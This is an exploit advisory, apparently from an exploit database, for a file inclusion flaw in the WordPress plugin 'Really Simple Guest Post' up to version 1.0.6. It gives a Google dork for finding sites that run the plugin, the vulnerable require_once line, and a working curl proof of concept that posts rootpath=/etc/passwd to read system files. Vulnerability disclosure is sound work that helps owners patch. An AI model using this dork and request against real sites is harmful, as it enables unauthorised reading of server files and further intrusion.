Wordpress Really Simple Guest Post File Include

# Exploit Title: 
# Google Dork: inurl:"really-simple-guest-post" intitle:"index of"

# Software Link: https://wordpress.org/plugins/really-simple-guest-post
# Version: <=1.0.6
# Tested on: Linux

The vulnerable file is called:
simple-guest-post-submit.php and its full path is
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
The vulnerable code is as follows:
(line 8)
require_once($_POST["rootpath"]);
As you can see, the require_once function includes a data based on
user-input without any prior verification.
So, an attacker can exploit this flaw and come directly into the url
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
and send a post data like: "rootpath=the_file_to_include"

Proof of concept:
curl -X POST -F "rootpath=/etc/passwd" --url
http://localhost/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
which will print out the content of /etc/passwd file.
